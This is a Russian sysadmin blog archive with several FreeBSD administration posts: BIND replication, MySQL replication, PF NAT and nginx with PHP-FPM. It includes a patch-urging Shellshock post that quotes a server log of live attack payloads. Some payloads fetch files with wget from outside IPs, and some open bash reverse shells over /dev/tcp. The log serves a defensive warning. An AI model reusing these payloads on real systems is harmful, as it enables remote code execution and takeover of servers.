Archive for the ‘ BSD ’ Category

MySQL — master/slave replication error «Duplicate entry»

Не так давно в очередной раз отвалилась MySQL реплика!
Казалось бы репликация в mysql за многие годы должна быть вылизана до идеала, но почемуто на практике это не так. Очень часто репликация master/slave в MySQL отваливается с ошибкой:

2014-09-26 08:57:14 42399 [ERROR] Slave SQL: Could not execute Write_rows_v1 event on table diff_wp.wp_options; Duplicate entry '_transient_is_multi_author' for key 'option_name', Error_code: 1062; handler error HA_ERR_FOUND_DUPP_KEY; the event's master log mysql-bin.000051, end_log_pos 128112, Error_code: 1062
2014-09-26 08:57:14 42399 [ERROR] Error running query, slave SQL thread aborted. Fix the problem, and restart the slave SQL thread with "SLAVE START". We stopped at log 'mysql-bin.000051' position 127907

У меня уже такое было, и я писал что на тот момент нашел временное решение. Но почему временное? Просто не было времени разбираться, а разобравшись … понял что тот вариант не совсем мне подходил. Итак, вариантов решения много — выбирай что нравится! Читать полностью

Уязвимость в bash CVE-2014-6271 (ShellShock) — какеры атакуют :)

Как говорится … «не прошло и недели», как школота уже вовсю юзает недавно обнаруженную столетнюю дыру в bash. Я уже писал заметку об этой серьезной уязвимости. Данный же пост для тех толстокожих админов кто думает «А мне все пофиг, я сделан из мяса …» или так «Обновления придумали глупые программеры для того чтобы впаривать админам новые глюки старых программ» 🙂 Короче всем неверующим, коротенький листинг лога http сервера, отфильтровано по слову «bash«:

25/Sep/2014:09:22:09 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
25/Sep/2014:22:21:23 "GET / HTTP/1.0" (200) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
27/Sep/2014:10:45:27 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (400) "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
29/Sep/2014:13:21:13 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a"
30/Sep/2014:22:34:04 "GET / HTTP/1.1" (200) "() { :;}; /bin/bash -c \x22wget http://82.221.105.197/bash-count.txt\x22"
02/Oct/2014:12:29:54 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c 'wget http://185.10.58.175/agent'"
02/Oct/2014:13:17:57 "GET / HTTP/1.0" (444) "() { :; }; /bin/bash -c '/usr/bin/wget http://185.10.58.175/agent'"
15/Oct/2014:22:13:56 "GET /cgi-bin/gsweb.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:56 "GET /cgi-bin/redirector.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/test.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:58 "GET /cgi-bin/index.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/help.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:13:59 "GET /cgi-bin/details.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:00 "GET /cgi-bin/log.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:01 "GET /cgi-bin/viewcontent.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/vidredirect.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/mailview.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:02 "GET /cgi-bin/webmail.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/finger.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:03 "GET /cgi-bin/click.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
15/Oct/2014:22:14:14 "GET /cgi-bin/content.cgi HTTP/1.1" (404) "() { :;}; echo `echo xbash:test`"
20/Oct/2014:16:51:34 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
29/Oct/2014:21:41:45 "GET /cgi-sys/entropysearch.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:45 "GET /cgi-sys/FormMail-clone.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
29/Oct/2014:21:41:46 "GET /index.php HTTP/1.0" (404) "() { ignored;};/bin/bash -i >& /dev/tcp/104.192.0.18/8888 0>&1"
30/Oct/2014:00:39:42 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (444) "() { ignored;};/bin/bash -i >& /dev/tcp/207.240.10.1/8888 0>&1"
31/Oct/2014:11:04:10 "GET /cgi-bin/bit.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /var/tmp ; rm
01/Nov/2014:00:02:49 "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" (404) "() { :;}; /bin/bash -c \x22cd /tmp;wget 61.156.8.189/use;curl -O

И поверьте, это сервер на котором всего пара захудалых web сайтов с посещением до 10 чел/сутки, на бойких серверах популярных ресурсов таких запросов сотни, ато и тысячи в сутки 🙂
Читайте новости, обновляйтесь, проверяйте свои сервера, мониторьте нагрузку и тд, если не хотите стать участником бот-нета!

Хай щастить!

FreeBSD 9.x — Настройка Master/Slave named (Bind9)

Хорошо когда чтолибо работает автоматически и так как хочется! Меньше рутины — больше времени для веселья!
Есть 2 сервера с FreeBSD, на них установлен Bind9 (во FreeBSD он зовется named) и задача — настроить на них Bind в режиме Master/Slave, для того чтобы любые изменения зон на Master автоматически транслировались на Slave. Согласитесь, негоже одни и те же настройки повторять на разных серверах, когда они могу синкаться автоматически 🙂

Bind Master host — 111.111.111.111
Bind Slave host — 99.99.99.99

Чтобы не повторяться с путями, переходим в директорию bind-а:

root@master:~ # cd /etc/namedb

Не люблю когда все навалено в одну директорию скопом, поэтому для ключей я создал отдельную директорию:

root@master:/etc/named# mkdir keys

Генерация ключа — простая штука, в help-е dnssec-keygen можете найти все типы поддерживаемых ключей, я выбрал HMAC-SHA512

root@master:/etc/namedb# dnssec-keygen -K keys -a HMAC-SHA512 -b 512 -n HOST -r /dev/urandom master.key
Kmaster.key.+163+63477
root@master:/etc/namedb#

тут, -K keys — директория куда сохранится сгенереный ключ
-a HMAC-SHA512 — тип шифрования
-b 512 — размер
-n HOST — тип ключа, в данном случае на хост
-r /dev/urandom — место одкуда берем случайную последовательность символов
master.key — название ключа, может быть каким хотите, это особой роли не играет

Сам сгенеренный файл нам не нужен, нам нужен только ключ, чтобы его найти смотрим файлик .private, интересуют строка Key.
К примеру, у меня так:

root@master:/etc/namedb# cat keys/Kmaster.key.+163+63477.private
Private-key-format: v1.3
Algorithm: 165 (HMAC_SHA512)
Key: P6dUIUT5pfdgYtsnN90ePPeWqV1l3695RS56dBPsn3EmYDkpdQ5ts9Ym8ZqKkDezRAm8s9ljZjpvU1rTUuTssA==
Bits: AAA=
Created: 20141028083403
Publish: 20141028083403
Activate: 20141028083403
root@master:/etc/namedb#

Создаем файлик, куда поместим ключ нашего master сервера:

root@master:/etc/namedb# vim keys/my.keys

формат такой:

key "master.key" {
  algorithm HMAC-SHA512;
  secret "P6dUIUT5pfdgYtsnN90ePPeWqV1l3695RS56dBPsn3EmYDkpdQ5ts9Ym8ZqKkDezRAm8s9ljZjpvU1rTUuTssA==";
};

Подключаем этот файл в конфиг named, для этого открываем главный конфиг named.conf

root@master:/etc/namedb# vim named.conf

и добавляем строчку (куда добавлять — не имеет значения, я добавил непосредственно перед частью конфига с master зонами, чтоб было на виду):

include "/etc/namedb/keys/my.keys";

Теперь создадим простенькую зону для проверки правильной работы сервиса, я использовал вот такую зону для тестов:

root@master:/etc/namedb# cat master/black13-org-ua.db
$TTL 604800 ; 1 hour default TTL
black13.org.ua. IN      SOA     ns1.black13.org.ua.     admin.black13.org.ua.   (
                                2014102801 ; Serial
                                8H ; Refresh
                                1H ; Retry
                                1W ; Expire
                                1D ) ; minimum, seconds
;
; DNS Servers
                IN      NS      ns1.black13.org.ua.
                IN      NS      ns2.black13.org.ua.
; MX Records
;                IN      MX 10   mx.black13.org.ua.
;                IN      MX 20   mail.example.org.
                IN      A       155.12.21.155
; Machine Names
localhost       IN      A       127.0.0.1
ns1             IN      A       111.111.111.111
ns2             IN      A       99.99.99.99
;mx              IN      A       88.88.88.88
;mail            IN      A       192.168.1.5

; Aliases
www             IN      CNAME   black13.org.ua.

root@master:/etc/namedb#

Теперь те зоны которые хотим передавать на slave-сервер (я тренировался на тестовой black13.org.ua) нужно настроить вот так:

zone "black13.org.ua" {
    type master;
    file "/etc/namedb/master/black13-org-ua.db";
    notify yes;
    allow-transfer { 99.99.99.99; key "master.key";};
    allow-update { none; };
};

И чтоб применить изменения — перегружаем named (bind):

root@master:/etc/namedb# service named restart
Stopping named.
Waiting for PIDS: 1835.
Starting named.
root@master:/etc/namedb#

С мастером все!

Настройка slave сервера тоже не сложная!
Сначала тоже самое … переходим в директорию /etc/namedb и создаем директорию keys:

root@slave:~ # cd /etc/namedb
root@slave:/etc/namedb# mkdir keys

Тектовым редактором создаем файл ключа:

root@slave:/etc/namedb# vim keys/master.key

Формат на Slave-сервере чуть другой чем на мастере, ключ такойже:

key "master.key" {
  algorithm HMAC-SHA512;
  secret "P6dUIUT5pfdgYtsnN90ePPeWqV1l3695RS56dBPsn3EmYDkpdQ5ts9Ym8ZqKkDezRAm8s9ljZjpvU1rTUuTssA==";
};
server 111.111.111.111 {
  keys { master.key; };
};

Теперь в главном конфиге named.conf нужно включить конфигурацию ключа:

include "/etc/namedb/keys/master.key";

и в этом же конфиге пример зоны:

zone "black13.org.ua" {
    type slave;
    file "/etc/namedb/slave/black13-org-ua.db";
    masters { 111.111.111.111; };
    allow-notify { 111.111.111.111; };
};

Обратите внимание что на slave нужно размещать файлы зон в директории /etc/namedb/slave, иначе нарветесь на ошибку:

Oct 29 11:21:03 slave named[68349]: dumping master file: /etc/namedb/master/tmp-7f25W0C4p4: open: permission denied

Все! Настройка закончена.
Перегружаем named (bind):

root@slave:/etc/namedb# service named restart
Stopping named.
Waiting for PIDS: 1743.
Starting named.
root@slave:/etc/namedb#

И вот он результат! Если вы все сделали верно, на slave-сервере в директории /etc/namedb/slave появится файлик black13-org-ua.db с вот таким содержимым:

root@slave:/etc/namedb# cat slave/black13-org-ua.db
$ORIGIN .
$TTL 604800     ; 1 week
black13.org.ua          IN SOA  ns1.black13.org.ua. admin.black13.org.ua. (
                                2014102801 ; serial
                                28800      ; refresh (8 hours)
                                3600       ; retry (1 hour)
                                604800     ; expire (1 week)
                                86400      ; minimum (1 day)
                                )
                        NS      ns1.black13.org.ua.
                        NS      ns2.black13.org.ua.
                        A       155.12.21.155
$ORIGIN black13.org.ua.
localhost               A       127.0.0.1
ns1                     A       111.111.111.111
ns2                     A       99.99.99.99
www                     CNAME   black13.org.ua.
root@slave:/etc/namedb#

А теперь самое веселое … на мастере поменяйте чтолибо в файлике black13-org-ua.db (смените либо добавьте HOST A,CNAME,TXT или что угодно), увеличте на 1 параметр «serial» и перегрузите named. На slave это изменение применится автоматически без каких либо вмешательств со стороны админа 🙂

Хай щастить!

FreeBSD 9.2 — Upgrade to 9.3 by SVN

Моя любимая ОС FreeBSD снова поменяла технологию обновления между релизами. На этот раз на мусорку истории попал простой и давно освоенный мной инструмент csup и уже начиная с релиза 9.2 вместо csup при сорцовом апгрейде предлагают использовать svn. Ну чтож, когдато освоили csup, освоим и svn. Итак, обновлялся с 9.2 до 9.3 уже по новомодному:
Сначала удалил старые сорцы/сборки:

root@srv1:~# rm -rf /usr/obj
root@srv1:~# rm -rf /usr/src
root@srv1:~# mkdir /usr/obj
root@srv1:~# mkdir /usr/src

До этого момента думаю все и так ясно, а вот тут финт ушами … svn вместо csup:

root@srv1:~# svn co https://svn0.eu.freebsd.org/base/release/9.3.0/ /usr/src
(this results in Revision: 256108)
root@srv1:~#

Ну и дальше идет все также как я описывал ранее …. с момента настройки /etc/src.conf и далее.

P.S. Пост пустячный и вроде как ниочем, но капец как уже задолбали бесконечные обновления инструментов/портов/пакетов в FreeBSD. Запомнить это все нету никакой возможности … не то что в Debian — все стабильно как говно мамонта 🙂
Хай щастить!

Roundcube 0.9.5 Upgrade to 1.0.3 — «DB Schema: NOT OK»

Тот кто сталкивался с обновлением Roundcube наверняка знает что обновить его это тот еще гемор 🙂 Вот и в этот раз я столкнулся с трудностями обновления с версии 0.9.5 до 1.0.3. То что конфиги разные и имеют разный формат — это ложка дегтя … ну да ладно. А вот обновления БД всегда были «поребриком» о который спотыкается каждый 🙂 Короче, наткнулся на такую вот ошибку: «DB Schema: NOT OK»
В инсталлере есть кнопочка «Update» которая якобы должна решить эту проблему, вот же она:

Roundcube - Upgrade SQL DB
но какую бы версию я не выбирал — ничего Читать полностью

Ошибка в FreeBSD — «Error from bsd.apache.mk. apache22 is installed (or APACHE_PORT is defined) and port requires apache.»

При установке mod_php для apache22 нарвался на вот такую ошибку:

root@ns:/usr/ports/www/mod_php56# make install clean
===>  mod_php56-5.6.2 is marked as broken: : Error from bsd.apache.mk. apache22 is installed (or APACHE_PORT is defined) and port requires apache.
*** [install] Error code 1

Stop in /usr/ports/www/mod_php56.
root@ns:/usr/ports/www/mod_php56#

Ох уж эта фря … опять чтото ей не нравится 🙁 Решение оказалось простое, нужно добавить опцию DEFAULT_VERSIONS+=apache=2.2 в make.conf
Читать полностью

Серьезная проблема с Bash — срочно обновиться!

Вот так нежданно-негаданно в мире Open Source вылезла еще одна масштабная проблема. Мир еще не успел оправиться от дырок в OpenSSL (все помнят Heartbleed), а тут на тебе — оказывается «фундамент тоже сыроват»! На этот раз свинью подложил Bash! А ведь он основной shell почти во всех дистрибутивах Linux и часто активно юзается админами *BSD! Уловили масштаб трагедии??? Можно подумать, ну баш и баш — что такого то? Проблема в том что он так или иначе связан с серьезными системными сервисами, например sshd, apache, git, некоторыми ftp и тд. Не говоря уже о том что ленивые админы и программисты не желая разбираться в хитроумных встроенных библиотеках python, perl и прочих языков в том или ином виде юзают «башизмы в CGI скриптах (сам такой, реализация find в perl выедает мне моск), которые выставлены в Интернет на всеобщее обозрение и легко могут быть использованы со злым умыслом 🙂 Сама суть проблемы в том что злоумышленник может через тот же ssh или apache подменить переменные ENV, что позволит ему удаленно выполнять произвольный код на системе жертвы без какойлибо авторизации! Заманчиво? Глядите на простейшую реализацию хака … простота неописуемая! Но идем дальше … Читать полностью

rspamd — проблемы с патчем для exim-4.84

Итак, с последним обновлением exim в FreeBSD возникла проблемка. Точнее не с самим Exim, а с патчем для интеграции rspamd в Exim. При попытке пропатчить исходники получил вот что: 2 out of 11 hunks failed—saving rejects to src/spam.c.rej
Нагляднее ниже в листинге …. Читать полностью

FreeBSD 9.2 и «хитрый NAT» в PF

Итак, стоит задача пробросить пакеты «с мира» внутрь сети, да еще и «отнатить» их на внутреннем интерфейсе. Для визуализации задачи вот такая схемка:

Host_A (IP 91.91.91.91) -> Host_B (WAN_IP 15.15.15.15 -> LAN_IP 192.168.100.100) -> Host_C (LAN_Router) -> Host_D (IP 172.15.99.99)

Это все довольно просто делается на FreeBSD в PF, если на out политик нету, то достаточно трех правил:

INET_IF = "em0"
INET_LOCAL = "em1"
BACULA_SD = "172.15.99.99"

rdr on $INET_IF proto tcp from 91.91.91.91 to $INET_IF port 9103 -> $BACULA_SD port 9103
nat on $INET_LOCAL from 91.91.91.91 to $BACULA_SD -> $INET_LOCAL
pass in quick log on $INET_IF inet proto tcp from 91.91.91.91 to any port 9103 flags S/SA keep state

Правда провозился я долго, оказалось что тупо забыл включить ip-forwarding 🙂 Читать полностью

FreeBSD — Настройка Nginx + PHP-FPM в chroot

Давно у меня в голове засела идея избавиться от apache2 на своих серверах. Зачем нужен этот древний тяжеленный мамонт? Ради модуля php? Ну так все хостинги давно уже обкатали режим php-fpm -это когда специфически собранный PHP работает сам по себе как сервис для компиляции php файликов. Стабильность и функциональность данного варианта работы PHP отличная! Остается статика, всякие картинки, стили, java-скрипты …. тут среди попсовых решений Nginx впереди планеты всей! Таким образом получаем простенькую систему из PHP-FPM + Nginx способную заменить Apache2 + mod_php + PHP. К тому же для большей безопасности и гибкости в настройке PHP-FPM поддерживает pools — это значит что PHP под каждый отдельный web-ресурс можно сконфигурить отдельно, к примеру сайту #1 дать 64MB RAM, а сайту #5 — 2048MB и тд, а любые превышения лимитов одним пулом не будут влиять на работу других. Для большей безопасности каждый пул можно разместить в его личном chroot-окружении, что на уровне FS изолирует все пулы друг от друга. Сладко??? Тогда в бой!
Установка PHP с флагом FPM:
Устанавливаем порт /usr/ports/lang/php5 с опцией PHP-FPM. При необходимости устанавливаем /usr/ports/lang/php5-extensions
Установка nginx:
Также из портов устанавливаем nginx, у меня он собран с такими опциями:

HTTP=on: Enable HTTP module
HTTP_ADDITION=on: Enable http_addition module
HTTP_CACHE=on: Enable http_cache module
HTTP_GZIP_STATIC=on: Enable http_gzip_static module
HTTP_GUNZIP_FILTER=on: Enable http_gunzip_filter module
HTTP_IMAGE_FILTER=on: Enable http_image_filter module
HTTP_PERL=on: Enable http_perl module
HTTP_REALIP=on: Enable http_realip module
HTTP_REWRITE=on: Enable http_rewrite module
HTTP_STATUS=on: Enable http_stub_status module
WWW=on: Enable html sample files

Не забываем про автозагрузку сервисов:
В /etc/rc.conf добавляем такие строчки для автостарта сервисов nginx и php-fpm

# <= Nginx => #
nginx_enable="YES"
# <= PHP-FPM => #
php_fpm_enable="YES"

Создание пользователя и окружения для chroot:
Создаем юзера, который у нас будет использоваться для виртуального web-хостинга. У меня это wwwuser. В его домешнем каталоге создаем необходимые директории для chroot php-fpm:

root@srv1:~# cd /home/wwwuser
root@srv1:/home/wwwuser# mkdir wwwchroot
root@srv1:/home/wwwuser# mkdir wwwchroot/{etc,htdocs,logs,tmp,usr}
root@srv1:/home/wwwuser# mkdir wwwchroot/usr/local
root@srv1:/home/wwwuser#

Создаем симлинки на некоторые конфиги и сокет mysql-сервера:

root@srv1:/home/wwwuser# cd wwwchroot/
root@srv1:/home/wwwuser/wwwchroot# ln -s /etc/hosts etc/hosts
root@srv1:/home/wwwuser/wwwchroot# ln -s /etc/host.conf etc/host.conf
root@srv1:/home/wwwuser/wwwchroot# ln -s /etc/resolv.conf etc/resolv.conf
root@srv1:/home/wwwuser/wwwchroot# ln -s /etc/nsswitch.conf etc/nsswitch.conf
root@srv1:/home/wwwuser/wwwchroot# ln -s /etc/localtime etc/localtime
root@srv1:/home/wwwuser/wwwchroot# ln -s /tmp/mysql.sock tmp/mysql.sock

Создаем симлинки на библиотеки:

root@srv1:/home/wwwuser/wwwchroot# ln -s /lib lib
root@srv1:/home/wwwuser/wwwchroot# ln -s /usr/local/lib usr/local/lib
root@srv1:/home/wwwuser/wwwchroot#

Настройка php-fpm:
Для удобства я «розбил» конфигурацию на основную часть [global] в конфиге /usr/local/etc/php-fpm.conf и настройки каждого веб-ресурса [pool] отдельно в директории /usr/local/etc/fpm.d/
Содержимое основного конфига:

include=etc/fpm.d/*.conf
[global]
pid = run/php-fpm.pid
events.mechanism = kqueue

Конфиги веб ресурсов нужно создавать в директории /usr/local/etc/fpm.d/. Их может быть много, поэтому удобно каждому юзеру создавать отдельный файлик. Вот пример содержимого одного из таких конфигов — /usr/local/etc/fpm.d/wwwuser_pool.conf:

[wwwuser]
prefix = /usr/home/$pool
user = wwwuser
group = wwwuser
listen = wwwchroot/tmp/php5-fpm.sock
listen.owner = www
listen.group = www
listen.mode = 0600

pm = dynamic
pm.max_children = 5
pm.start_servers = 2
pm.min_spare_servers = 1
pm.max_spare_servers = 3
pm.max_requests = 50
 
slowlog = logs/$pool.log.slow
request_slowlog_timeout = 5
request_terminate_timeout = 25
 
chroot = $prefix/wwwchroot
chdir = /htdocs
 
env[HOSTNAME] = $HOSTNAME
env[PATH] = /usr/local/bin:/usr/bin:/bin
env[TMP] = /tmp
env[TMPDIR] = /tmp
env[TEMP] = /tmp

php_admin_value[sendmail_path] = /usr/sbin/sendmail -t -i -f wwwuser@srv1.mydomain.ua
php_flag[display_errors] = off
php_admin_value[error_log] = /var/log/fpm-php.www.log
php_admin_flag[log_errors] = on
php_admin_value[memory_limit] = 32M

После этого у вас должен нормально запуститься сервис php-fpm. Пробуем:

root@srv1:~# service php-fpm start
Starting php_fpm.
root@srv1:~#

Отлично! Поехали дальше!
Настройка nginx:
Тут я не очень разобрался, но скажем так, добился реально рабочего результата. Поэтому с удовольствием прочитаю замечания по настройке nginx в комментах. В стандартный конфиг /usr/local/etc/nginx/nginx.conf добавил секцию server для CMS Drupal версии 7:

    server {
        listen       80;
        server_name  mydomain.kiev.ua www.mydomain.kiev.ua;

        gzip on;
        gzip_static on;
        gzip_vary on;
        gzip_http_version 1.1;
        gzip_min_length 700;
        gzip_comp_level 6;
        gzip_disable "msie6";

        access_log  /usr/home/wwwuser/logs/drupal-access.log;
        error_log   /usr/home/wwwuser/logs/drupal-error.log;

        root /usr/home/wwwuser/wwwchroot/htdocs/drupal7;

        location = /favicon.ico {
                log_not_found off;
                access_log off;
        }
 
        location = /robots.txt {
                allow all;
                log_not_found off;
                access_log off;
        }

        # Very rarely should these ever be accessed outside of your lan
        location ~* \.(txt|log)$ {
                allow 127.0.0.0/8;
                deny all;
        }
 
        location ~ \..*/.*\.php$ {
                return 403;
        }
 
        # No no for private
        location ~ ^/sites/.*/private/ {
                return 403;
        }
 
        # Block access to "hidden" files and directories whose names begin with a
        # period. This includes directories used by version control systems such
        # as Subversion or Git to store control files.
        location ~ (^|/)\. {
                return 403;
        }

        location / {
                # This is cool because no php is touched for static content
                try_files $uri @rewrite;
        }
 
        location @rewrite {
                # You have 2 options here
                # For D7 and above:
                # Clean URLs are handled in drupal_environment_initialize().
                rewrite ^ /index.php;
                # For Drupal 6 and bwlow:
                # Some modules enforce no slash (/) at the end of the URL
                # Else this rewrite block wouldn't be needed (GlobalRedirect)
                #rewrite ^/(.*)$ /index.php?q=$1;
        }

        location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_intercept_errors on;
        fastcgi_param SCRIPT_FILENAME /htdocs/drupal7$fastcgi_script_name;
        fastcgi_param PATH_INFO $fastcgi_script_name;
        fastcgi_param DOCUMENT_ROOT /htdocs/drupal7;
        fastcgi_pass   unix:/usr/home/wwwuser/wwwchroot/tmp/php5-fpm.sock;
        include        fastcgi_params;
                 }

        # This is for D7 and D8
        location ~ ^/sites/.*/files/styles/ {
                try_files $uri @rewrite;
        }
 
        location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
                expires max;
                log_not_found off;
        }
       
        location ~ /\. {
        deny  all;
        }
    }

Как видно из конфига, drupal у меня установлен в отдельной директории в htdocs, вот полный путь — /usr/home/wwwuser/wwwchroot/htdocs/drupal
После сохранения конфига можно запустить nginx:

root@srv1:~# service nginx start
Performing sanity check on nginx configuration:
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
Starting nginx.
root@srv1:~#

Ну и после этого пробуем в браузере открыть наш сайт: http://mydomain.kiev.ua Я розпаковал в директорию drupal сам CMS — поэтому увидел приглашение к установке … все заработало с «пол-пинка». Пробовал аналогичный образом настраивать wordpress и phpBB — отлично работает, правда настройки в nginx.conf под разные движки разные, но найти их не составляет труда, зачастую на официальных сайтах разработчиков web-приложений есть готовые примеры конфига nginx.

Хай щастить!